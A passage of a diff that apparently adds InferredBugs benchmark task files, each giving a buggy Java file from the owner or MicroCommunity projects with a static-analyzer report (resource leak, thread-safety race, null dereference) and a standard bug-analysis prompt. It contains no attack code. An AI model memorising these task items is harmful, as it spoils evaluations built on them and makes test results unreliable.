+ * All rights reserved.
+ *
+ * This software is distributable under the BSD license.
+ * See the terms of the BSD license in the documentation provided with this software.
+ */
+
+package org.aeonbits.owner;
+
+import org.aeonbits.owner.Util.SystemProvider;
+import org.junit.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.reflect.Array;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Properties;
+import java.util.jar.JarOutputStream;
+import java.util.zip.ZipEntry;
+
+import static org.aeonbits.owner.Util.ignore;
+import static org.aeonbits.owner.Util.unreachableButCompilerNeedsThis;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * This class contains tests for the {@link Util} class as well utility methods used for test classes.
+ *
+ * @author Luigi R. Viggiano
+ */
+public class UtilTest {
+    @Test(expected = UnsupportedOperationException.class)
+    public void testConstructor() {
+        new Util() {
+        };
+    }
+
+    @Test
+    public void testReverse() {
+        Integer[] i = {1, 2, 3, 4, 5};
+        Integer[] result = Util.reverse(i);
+        assertTrue(Arrays.equals(new Integer[] {1, 2, 3, 4, 5}, i));
+        assertTrue(Arrays.equals(new Integer[] {5, 4, 3, 2, 1}, result));
+    }
+
+    @Test
+    public void testIgnore() {
+        Object result = ignore();
+        assertNull(result);
+    }
+
+    @Test
+    public void testUnreachable() {
+        try {
+            unreachableButCompilerNeedsThis();
+        } catch (AssertionError err) {
+            assertEquals("this code should never be reached", err.getMessage());
+        }
+    }
+
+    public static void save(File target, Properties p) throws IOException {
+        File tempFile = createTempFile(target);
+        store(tempFile, p);
+        rename(tempFile, target);
+    }
+
+    private static void store(File target, Properties p) throws IOException {
+        OutputStream out = new FileOutputStream(target);
+        try {
+            store(out, p);
+        } finally {
+            out.close();
+        }
+    }
+
+    private static void store(OutputStream out, Properties p) throws IOException {
+        p.store(out, "saved for test");
+    }
+
+    public static void delete(File target) {
+        target.delete();
+    }
+
+    public static void saveJar(File target, String entryName, Properties props) throws IOException {
+        byte[] bytes = toBytes(props);
+        InputStream input = new ByteArrayInputStream(bytes);
+        FileOutputStream fos = new FileOutputStream(target);
+        JarOutputStream output = new JarOutputStream(fos);
+        try {
+            ZipEntry entry = new ZipEntry(entryName);
+            output.putNextEntry(entry);
+            byte[] buffer = new byte[4096];
+            int size;
+            while ((size = input.read(buffer)) != -1)
+                output.write(buffer, 0, size);
+            output.flush();
+        } finally {
+            input.close();
+            output.close();
+            fos.close();
+        }
+    }
+
+    private static File createTempFile(File target) throws IOException {
+        File parent = target.getParentFile();
+        parent.mkdirs();
+        return File.createTempFile(target.getName(), ".temp", parent);
+    }
+
+    private static void rename(File source, File target) throws IOException {
+        if (!source.renameTo(target))
+            throw new IOException(String.format("Failed to overwrite %s to %s", source.toString(), target.toString()));
+    }
+
+    private static byte[] toBytes(Properties props) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        try {
+            store(out, props);
+            return out.toByteArray();
+        } finally {
+            out.close();
+        }
+    }
+
+    public static void debug(String format, Object... args) {
+        if (Boolean.getBoolean("debug"))
+            System.out.printf(format, args);
+    }
+
+    public static interface MyCloneable extends Cloneable {
+        // for some stupid reason java.lang.Cloneable doesn't define this method...
+        public Object clone() throws CloneNotSupportedException;
+    }
+
+    @SuppressWarnings("unchecked")
+    public static <T extends MyCloneable> T[] newArray(int size, T cloneable) throws CloneNotSupportedException {
+        Object array = Array.newInstance(cloneable.getClass(), size);
+        Array.set(array, 0, cloneable);
+        for (int i = 1; i < size; i++)
+            Array.set(array, i, cloneable.clone());
+        return (T[]) array;
+    }
+
+    public static boolean eq(Object o1, Object o2) {
+        return Util.eq(o1, o2);
+    }
+
+    @Test
+    public void testExpandUserHomeOnUnix() {
+        SystemProvider save = Util.system;
+        try {
+            Util.system = new SystemProviderForTest(
+                    new Properties() {{
+                        setProperty("user.home", "/home/john");
+                    }},  new HashMap<String, String>()
+            );
+            assertEquals("/home/john", Util.expandUserHome("~"));
+            assertEquals("/home/john/foo/bar/", Util.expandUserHome("~/foo/bar/"));
+            assertEquals("file:/home/john/foo/bar/", Util.expandUserHome("file:~/foo/bar/"));
+            assertEquals("jar:file:/home/john/foo/bar/", Util.expandUserHome("jar:file:~/foo/bar/"));
+
+            assertEquals("/home/john\\foo\\bar\\", Util.expandUserHome("~\\foo\\bar\\"));
+            assertEquals("file:/home/john\\foo\\bar\\", Util.expandUserHome("file:~\\foo\\bar\\"));
+            assertEquals("jar:file:/home/john\\foo\\bar\\", Util.expandUserHome("jar:file:~\\foo\\bar\\"));
+        } finally {
+            Util.system = save;
+        }
+    }
+
+    @Test
+    public void testExpandUserHomeOnWindows() {
+        SystemProvider save = Util.system;
+        try {
+            Util.system = new SystemProviderForTest(
+                    new Properties() {{
+                        setProperty("user.home", "C:\\Users\\John");
+                    }}, new HashMap<String, String>()
+            );
+            assertEquals("C:\\Users\\John", Util.expandUserHome("~"));
+            assertEquals("C:\\Users\\John/foo/bar/", Util.expandUserHome("~/foo/bar/"));
+            assertEquals("file:C:\\Users\\John/foo/bar/", Util.expandUserHome("file:~/foo/bar/"));
+            assertEquals("jar:file:C:\\Users\\John/foo/bar/", Util.expandUserHome("jar:file:~/foo/bar/"));
+
+            assertEquals("C:\\Users\\John\\foo\\bar\\", Util.expandUserHome("~\\foo\\bar\\"));
+            assertEquals("file:C:\\Users\\John\\foo\\bar\\", Util.expandUserHome("file:~\\foo\\bar\\"));
+            assertEquals("jar:file:C:\\Users\\John\\foo\\bar\\", Util.expandUserHome("jar:file:~\\foo\\bar\\"));
+        } finally {
+            Util.system = save;
+        }
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileOutputStream` acquired to `fos` by call to `FileOutputStream(...)` at line 95 is not released after line 110.
+**Note**: potential exception at line 96
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UtilTest.saveJar(File,String,Properties)
+
+### Procedure Id:
+org.aeonbits.owner.UtilTest.saveJar(java.io.File,java.lang.String,java.util.Properties):void.8e5b5f9de2f258c3c9adb95ffba38e4d
+
+### File:
+src/test/java/org/aeonbits/owner/UtilTest.java
+
+### Key:
+UtilTest.java|saveJar|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+223060e419760c1b110456ea93e22198
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4934/instruction.md b/inferredbugs-4934/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..95bcf8dbde1d4f2beea73ca04093c7094be546e5
--- /dev/null
+++ b/inferredbugs-4934/instruction.md
@@ -0,0 +1,354 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** owner
+**Bug ID:** 23
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2012-2018, Luigi R. Viggiano
+ * All rights reserved.
+ *
+ * This software is distributable under the BSD license.
+ * See the terms of the BSD license in the documentation provided with this software.
+ */
+
+package org.aeonbits.owner.util;
+
+import org.aeonbits.owner.Config.DisableFeature;
+import org.aeonbits.owner.Config.DisableableFeature;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.UnsupportedEncodingException;
+import java.lang.reflect.Method;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.jar.JarOutputStream;
+import java.util.regex.Matcher;
+import java.util.zip.ZipEntry;
+
+import static java.io.File.createTempFile;
+import static java.lang.String.format;
+import static java.net.URLDecoder.decode;
+import static java.util.Arrays.asList;
+
+/**
+ * This class contains utility methods used all over the library.
+ *
+ * @author Luigi R. Viggiano
+ */
+public abstract class Util {
+
+    public interface TimeProvider {
+        long getTime();
+    }
+
+    public interface SystemProvider {
+        String getProperty(String key);
+
+        Map<String, String> getenv();
+
+        Properties getProperties();
+    }
+
+    static TimeProvider timeProvider = new TimeProvider() {
+        public long getTime() {
+            return System.currentTimeMillis();
+        }
+    };
+
+    static SystemProvider system = new SystemProvider() {
+        public String getProperty(String key) {
+            return System.getProperty(key);
+        }
+
+        public Map<String, String> getenv() {
+            return System.getenv();
+        }
+
+        public Properties getProperties() {
+            return (Properties) System.getProperties().clone();
+        }
+    };
+
+    /** Don't let anyone instantiate this class */
+    private Util() {}
+
+    public static <T> List<T> reverse(List<T> src) {
+        List<T> copy = new ArrayList<T>(src);
+        Collections.reverse(copy);
+        return copy;
+    }
+
+    @SuppressWarnings("unchecked")
+    public static <T> T[] reverse(T[] array) {
+        T[] copy = array.clone();
+        Collections.reverse(asList(copy));
+        return copy;
+    }
+
+    public static String expandUserHome(String text) {
+        if (text.equals("~"))
+            return system.getProperty("user.home");
+        if (text.indexOf("~/") == 0 || text.indexOf("file:~/") == 0 || text.indexOf("jar:file:~/") == 0)
+            return text.replaceFirst("~/", Matcher.quoteReplacement(system.getProperty("user.home")) + "/");
+        if (text.indexOf("~\\") == 0 || text.indexOf("file:~\\") == 0 || text.indexOf("jar:file:~\\") == 0)
+            return text.replaceFirst("~\\\\", Matcher.quoteReplacement(system.getProperty("user.home")) + "\\\\");
+        return text;
+    }
+
+    public static String fixBackslashesToSlashes(String path) {
+        return path.replace('\\', '/');
+    }
+
+    public static String fixSpacesToPercentTwenty(String path) {
+        return path.replace(" ", "%20");
+    }
+
+    public static <T> T ignoreAndReturnNull() {
+        // the ignoreAndReturnNull method does absolutely nothing, but it helps to shut up warnings by pmd and other reporting tools
+        // complaining about empty catch methods.
+        return null;
+    }
+
+    /**
+     * no operation
+     */
+    public static void ignore() {
+    }
+
+    public static boolean isFeatureDisabled(Method method, DisableableFeature feature) {
+        Class<DisableFeature> annotation = DisableFeature.class;
+        return isFeatureDisabled(feature, method.getDeclaringClass().getAnnotation(annotation)) ||
+                isFeatureDisabled(feature, method.getAnnotation(annotation));
+    }
+
+    private static boolean isFeatureDisabled(DisableableFeature feature, DisableFeature annotation) {
+        return annotation != null && asList(annotation.value()).contains(feature);
+    }
+
+    public static UnsupportedOperationException unsupported(Throwable cause, String msg, Object... args) {
+        return new UnsupportedOperationException(format(msg, args), cause);
+    }
+
+    public static UnsupportedOperationException unsupported(String msg, Object... args) {
+        return new UnsupportedOperationException(format(msg, args));
+    }
+
+    public static <T> T unreachableButCompilerNeedsThis() {
+        throw new AssertionError("this code should never be reached");
+    }
+
+    public static String asString(Object result) {
+        if (result == null) return null;
+        return String.valueOf(result);
+    }
+
+    public static long now() {
+        return timeProvider.getTime();
+    }
+
+    public static File fileFromURI(URI uri) {
+        if ("file".equalsIgnoreCase(uri.getScheme())) {
+            String path = uri.getSchemeSpecificPart();
+            try {
+                path = decode(path, "utf-8");
+                return new File(path);
+            } catch (UnsupportedEncodingException e) {
+                return unreachableButCompilerNeedsThis(/* utf-8 is supported in jre libraries */);
+            }
+        } else if ("jar".equalsIgnoreCase(uri.getScheme())) {
+            String path = uri.getSchemeSpecificPart();
+            try {
+                return fileFromURI(path.substring(0, path.indexOf('!')));
+            } catch (URISyntaxException e) {
+                return ignoreAndReturnNull(/* non critical */);
+            }
+        }
+        return null;
+    }
+
+    public static File fileFromURI(String uriSpec) throws URISyntaxException {
+        try {
+            return fileFromURI(new URI(uriSpec));
+        } catch (URISyntaxException e) {
+            // Perhaps the path contains backslashes
+            uriSpec = uriSpec.replace('\\', '/');
+            return fileFromURI(new URI(uriSpec));
+        }
+    }
+
+    public static boolean eq(Object o1, Object o2) {
+        return o1 == o2 || o1 != null && o1.equals(o2);
+    }
+
+    public static SystemProvider system() {
+        return system;
+    }
+
+    public static void save(File target, Properties p) throws IOException {
+        File parent = target.getParentFile();
+        parent.mkdirs();
+        if (isWindows()) {
+            store(target, p);
+        } else {
+            File tempFile = createTempFile(target.getName(), ".temp", parent);
+            store(tempFile, p);
+            rename(tempFile, target);
+        }
+
+    }
+
+    private static boolean isWindows() {
+        return system.getProperty("os.name").toLowerCase().contains("win");
+    }
+
+    public static void delete(File target) {
+        target.delete();
+    }
+
+    private static void store(File target, Properties p) throws IOException {
+        OutputStream out = new FileOutputStream(target);
+        try {
+            store(out, p);
+        } finally {
+            out.close();
+        }
+    }
+
+    private static void store(OutputStream out, Properties p) throws IOException {
+        p.store(out, "saved for test");
+    }
+
+    public static void saveJar(File target, String entryName, Properties props) throws IOException {
+        File parent = target.getParentFile();
+        parent.mkdirs();
+        storeJar(target, entryName, props);
+    }
+
+    private static void rename(File source, File target) throws IOException {
+        if (!source.renameTo(target))
+            throw new IOException(format("Failed to overwrite %s to %s", source.toString(), target.toString()));
+    }
+
+    private static void storeJar(File target, String entryName, Properties props) throws IOException {
+        byte[] bytes = toBytes(props);
+        InputStream input = new ByteArrayInputStream(bytes);
+        JarOutputStream output = new JarOutputStream(new FileOutputStream(target));
+        try {
+            ZipEntry entry = new ZipEntry(entryName);
+            output.putNextEntry(entry);
+            byte[] buffer = new byte[4096];
+            int size;
+            while ((size = input.read(buffer)) != -1)
+                output.write(buffer, 0, size);
+        } finally {
+            input.close();
+            output.close();
+        }
+    }
+
+    private static byte[] toBytes(Properties props) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        try {
+            store(out, props);
+            return out.toByteArray();
+        } finally {
+            out.close();
+        }
+    }
+
+    public static <T> T newInstance(Class<T> clazz) {
+        try {
+            return clazz.getDeclaredConstructor().newInstance();
+        } catch (Exception e) {
+            throw unsupported(e,
+                    "Class '%s' cannot be instantiated; see the cause below in the stack trace",
+                    clazz.getCanonicalName());
+        }
+    }
+
+    public static <T> List<T> newInstance(Class<? extends T>[] classes, List<T> result) {
+        for (Class<? extends T> clazz : classes)
+            result.add(newInstance(clazz));
+        return result;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileOutputStream` acquired by call to `FileOutputStream(...)` at line 241 is not released after line 241.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Util.storeJar(File,String,Properties)
+
+### Procedure Id:
+org.aeonbits.owner.util.Util.storeJar(java.io.File,java.lang.String,java.util.Properties):void.fa4ab5f11ebf6112405fe1acd50a2df1
+
+### File:
+owner/src/main/java/org/aeonbits/owner/util/Util.java
+
+### Key:
+Util.java|storeJar|RESOURCE_LEAK
+
+### Node Key:
+c7afdd3fc8e1cf9b1f4c6677e760bf08
+
+### Hash:
+8ea65598d97d1227f71b909acffd4372
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4935/instruction.md b/inferredbugs-4935/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8dab63638b72f6efbebad210a3b4010204bd1715
--- /dev/null
+++ b/inferredbugs-4935/instruction.md
@@ -0,0 +1,160 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** owner
+**Bug ID:** 4
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (c) 2013, Luigi R. Viggiano
+ * All rights reserved.
+ *
+ * This software is distributable under the BSD license.
+ * See the terms of the BSD license in the documentation provided with this software.
+ */
+
+package org.aeonbits.owner.reload;
+
+import org.aeonbits.owner.Config;
+import org.aeonbits.owner.Config.Sources;
+import org.aeonbits.owner.ConfigFactory;
+import org.aeonbits.owner.Reloadable;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+
+import java.io.File;
+import java.io.FileWriter;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.util.Properties;
+
+import static org.junit.Assert.assertEquals;
+
+/**
+ * @author Luigi R. Viggiano
+ */
+public class ReloadTest {
+    private static final String spec = "file:target/test-resources/ReloadableConfig.properties";
+    private static File target;
+    private ReloadableConfig reloadableConfig;
+
+    @BeforeClass
+    public static void beforeClass() throws MalformedURLException {
+        target = new File(new URL(spec).getFile());
+    }
+
+    @Before
+    public void before() throws Throwable {
+        synchronized (target) {
+            save(new Properties() {{
+                setProperty("someValue", "10");
+            }});
+
+            reloadableConfig = ConfigFactory.create(ReloadableConfig.class);
+        }
+    }
+
+    @Sources(spec)
+    public interface ReloadableConfig extends Config, Reloadable {
+        Integer someValue();
+    }
+
+    @Test
+    public void testReload() throws Throwable {
+        assertEquals(Integer.valueOf(10), reloadableConfig.someValue());
+
+        synchronized (target) {
+            save(new Properties() {{
+                setProperty("someValue", "20");
+            }});
+
+            reloadableConfig.reload();
+        }
+        assertEquals(Integer.valueOf(20), reloadableConfig.someValue());
+    }
+
+    private void save(Properties p) throws Throwable {
+        synchronized (target) {
+            target.getParentFile().mkdirs();
+            p.store(new FileWriter(target), "foobar");
+        }
+    }
+
+    @After
+    public void after() throws Throwable {
+        synchronized (target) {
+            target.delete();
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.aeonbits.owner.reload.ReloadTest.testReload` reads without synchronization from `reload.ReloadTest.org.aeonbits.owner.reload.ReloadTest.target`. Potentially races with write in method `ReloadTest.beforeClass()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ReloadTest.testReload()
+
+### Procedure Id:
+org.aeonbits.owner.reload.ReloadTest.testReload():void.6fb12c8a348ef9dd5587a283d1c4c3c6
+
+### File:
+src/test/java/org/aeonbits/owner/reload/ReloadTest.java
+
+### Key:
+ReloadTest.java|testReload|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+a83dd05b1a5e8bfd9dab2ae8df6334c8
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4950/instruction.md b/inferredbugs-4950/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..734a0ff30a5a241ab592c66437720955480d4f8a
--- /dev/null
+++ b/inferredbugs-4950/instruction.md
@@ -0,0 +1,211 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MicroCommunity
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.java110.api.listener;
+
+import com.alibaba.fastjson.JSONObject;
+import com.java110.common.constant.CommonConstant;
+import com.java110.common.constant.ResponseConstant;
+import com.java110.common.constant.ServiceCodeConstant;
+import com.java110.common.exception.SMOException;
+import com.java110.common.util.Assert;
+import com.java110.core.annotation.Java110Listener;
+import com.java110.core.context.DataFlowContext;
+import com.java110.core.factory.AuthenticationFactory;
+import com.java110.core.factory.DataFlowFactory;
+import com.java110.entity.center.AppService;
+import com.java110.event.service.api.ServiceDataFlowEvent;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.http.*;
+import org.springframework.web.client.HttpStatusCodeException;
+import org.springframework.web.client.RestTemplate;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * 用户注册 侦听
+ * Created by wuxw on 2018/5/18.
+ */
+@Java110Listener("userLoginServiceListener")
+public class UserLoginServiceListener extends AbstractServiceApiDataFlowListener{
+
+    private final static Logger logger = LoggerFactory.getLogger(UserLoginServiceListener.class);
+
+
+
+    @Override
+    public String getServiceCode() {
+        return ServiceCodeConstant.SERVICE_CODE_USER_SERVICE_LOGIN;
+    }
+
+
+    @Override
+    public int getOrder() {
+        return 0;
+    }
+
+
+    /**
+     * 请求参数格式：
+     * {
+        "username":"admin",
+        "passwd":"1234565"
+     }
+     返回报文：
+     {
+        "userId":"",
+        "token":"12dddd"
+     }
+     * @param event
+     */
+    @Override
+    public void soService(ServiceDataFlowEvent event) {
+        //获取数据上下文对象
+        DataFlowContext dataFlowContext = event.getDataFlowContext();
+        AppService service = event.getAppService();
+        String paramIn = dataFlowContext.getReqData();
+        Assert.isJsonObject(paramIn,"用户注册请求参数有误，不是有效的json格式 "+paramIn);
+        Assert.jsonObjectHaveKey(paramIn,"username","用户登录，未包含username节点，请检查" + paramIn);
+        Assert.jsonObjectHaveKey(paramIn,"passwd","用户登录，未包含passwd节点，请检查" + paramIn);
+        RestTemplate restTemplate = super.getRestTemplate();
+        ResponseEntity responseEntity= null;
+        JSONObject paramInJson = JSONObject.parseObject(paramIn);
+        //根据AppId 查询 是否有登录的服务，查询登录地址调用
+        AppService appService = DataFlowFactory.getService(dataFlowContext.getAppId(), ServiceCodeConstant.SERVICE_CODE_QUERY_USER_LOGIN);
+        String requestUrl = appService.getUrl() + "?userCode="+paramInJson.getString("username");
+        HttpHeaders header = new HttpHeaders();
+        header.add(CommonConstant.HTTP_SERVICE.toLowerCase(),ServiceCodeConstant.SERVICE_CODE_QUERY_USER_LOGIN);
+        HttpEntity<String> httpEntity = new HttpEntity<String>("", header);
+        try{
+            responseEntity = restTemplate.exchange(requestUrl, HttpMethod.GET, httpEntity, String.class);
+        }catch (HttpStatusCodeException e){ //这里spring 框架 在4XX 或 5XX 时抛出 HttpServerErrorException 异常，需要重新封装一下
+            responseEntity = new ResponseEntity<String>("请求登录查询异常，"+e.getResponseBodyAsString(),e.getStatusCode());
+            dataFlowContext.setResponseEntity(responseEntity);
+            return ;
+        }
+
+        String resultBody = responseEntity.getBody().toString();
+
+        Assert.isJsonObject(resultBody,"调用登录查询异常,返回报文有误，不是有效的json格式 "+resultBody);
+
+        JSONObject resultInfo = JSONObject.parseObject(resultBody);
+        if(!resultInfo.containsKey("user") || !resultInfo.getJSONObject("user").containsKey("userPwd")
+                || !resultInfo.getJSONObject("user").containsKey("userId")){
+            responseEntity = new ResponseEntity<String>("用户或密码错误", HttpStatus.UNAUTHORIZED);
+            dataFlowContext.setResponseEntity(responseEntity);
+            return ;
+        }
+
+        JSONObject userInfo = resultInfo.getJSONObject("user");
+        String userPwd = userInfo.getString("userPwd");
+        if(!userPwd.equals(paramInJson.getString("passwd"))){
+            responseEntity = new ResponseEntity<String>("密码错误", HttpStatus.UNAUTHORIZED);
+            dataFlowContext.setResponseEntity(responseEntity);
+            return ;
+        }
+
+        try {
+            Map userMap = new HashMap();
+            userMap.put(CommonConstant.LOGIN_USER_ID,userInfo.getString("userId"));
+            String token = AuthenticationFactory.createAndSaveToken(userMap);
+            userInfo.remove("userPwd");
+            userInfo.put("token",token);
+            responseEntity = new ResponseEntity<String>(userInfo.toJSONString(), HttpStatus.OK);
+            dataFlowContext.setResponseEntity(responseEntity);
+        }catch (Exception e){
+            logger.error("登录异常：",e);
+            throw new SMOException(ResponseConstant.RESULT_CODE_INNER_ERROR,"系统内部错误，请联系管理员");
+        }
+    }
+
+    /**
+     * 对请求报文处理
+     * @param paramIn
+     * @return
+     */
+    private JSONObject refreshParamIn(String paramIn){
+        JSONObject paramObj = JSONObject.parseObject(paramIn);
+        paramObj.put("userId","-1");
+        paramObj.put("levelCd","0");
+
+        return paramObj;
+    }
+
+
+
+
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `appService` last assigned on line 73 could be null and is dereferenced at line 74.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UserLoginServiceListener.soService(ServiceDataFlowEvent)
+
+### Procedure Id:
+com.java110.api.listener.UserLoginServiceListener.soService(com.java110.event.service.api.ServiceDat.885686dc82f17b8cb907aa00a6c25ecd
+
+### File:
+Api/src/main/java/com/java110/api/listener/UserLoginServiceListener.java
+
+### Key:
+UserLoginServiceListener.java|soService|NULL_DEREFERENCE
+
+### Node Key:
+67c66617faa405bae1b9886cb98a9c26
+
+### Hash:
+11b7d94ded9353dc69b37990ac4fb106
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4957/instruction.md b/inferredbugs-4957/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9f75d6bd63acf841edbeed203bc871eb9f778ab8
--- /dev/null
+++ b/inferredbugs-4957/instruction.md
@@ -0,0 +1,766 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MicroCommunity
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.java110.web.smo.assetImport.impl;
+
+import com.alibaba.fastjson.JSONArray;
+import com.alibaba.fastjson.JSONObject;
+import com.java110.common.constant.FeeTypeConstant;
+import com.java110.common.constant.ResponseConstant;
+import com.java110.common.constant.ServiceConstant;
+import com.java110.common.exception.ListenerExecuteException;
+import com.java110.common.util.Assert;
+import com.java110.common.util.DateUtil;
+import com.java110.common.util.ImportExcelUtils;
+import com.java110.common.util.StringUtil;
+import com.java110.core.context.IPageData;
+import com.java110.dto.FeeConfigDto;
+import com.java110.dto.ParkingSpaceDto;
+import com.java110.entity.assetImport.ImportFloor;
+import com.java110.entity.assetImport.ImportOwner;
+import com.java110.entity.assetImport.ImportParkingSpace;
+import com.java110.entity.assetImport.ImportRoom;
+import com.java110.entity.component.ComponentValidateResult;
+import com.java110.web.core.BaseComponentSMO;
+import com.java110.web.smo.assetImport.IAssetImportSMO;
+import org.apache.poi.ss.usermodel.Sheet;
+import org.apache.poi.ss.usermodel.Workbook;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.http.HttpMethod;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.ResponseEntity;
+import org.springframework.stereotype.Service;
+import org.springframework.web.client.RestTemplate;
+import org.springframework.web.multipart.MultipartFile;
+
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * @ClassName AssetImportSmoImpl
+ * @Description TODO
+ * @Author wuxw
+ * @Date 2019/9/23 23:14
+ * @Version 1.0
+ * add by wuxw 2019/9/23
+ **/
+@Service("assetImportSMOImpl")
+public class AssetImportSMOImpl extends BaseComponentSMO implements IAssetImportSMO {
+    private final static Logger logger = LoggerFactory.getLogger(AssetImportSMOImpl.class);
+
+    @Autowired
+    private RestTemplate restTemplate;
+
+    @Override
+    public ResponseEntity<String> importExcelData(IPageData pd, MultipartFile uploadFile) throws Exception {
+
+        ComponentValidateResult result = this.validateStoreStaffCommunityRelationship(pd, restTemplate);
+
+        //InputStream is = uploadFile.getInputStream();
+
+        Workbook workbook = null;  //工作簿
+        //工作表
+        String[] headers = null;   //表头信息
+        List<ImportFloor> floors = new ArrayList<ImportFloor>();
+        List<ImportOwner> owners = new ArrayList<ImportOwner>();
+        List<ImportRoom> rooms = new ArrayList<ImportRoom>();
+        List<ImportParkingSpace> parkingSpaces = new ArrayList<ImportParkingSpace>();
+        workbook = ImportExcelUtils.createWorkbook(uploadFile);
+        //获取楼信息
+        getFloors(workbook, floors);
+        //获取业主信息
+        getOwners(workbook, owners);
+
+        //获取房屋信息
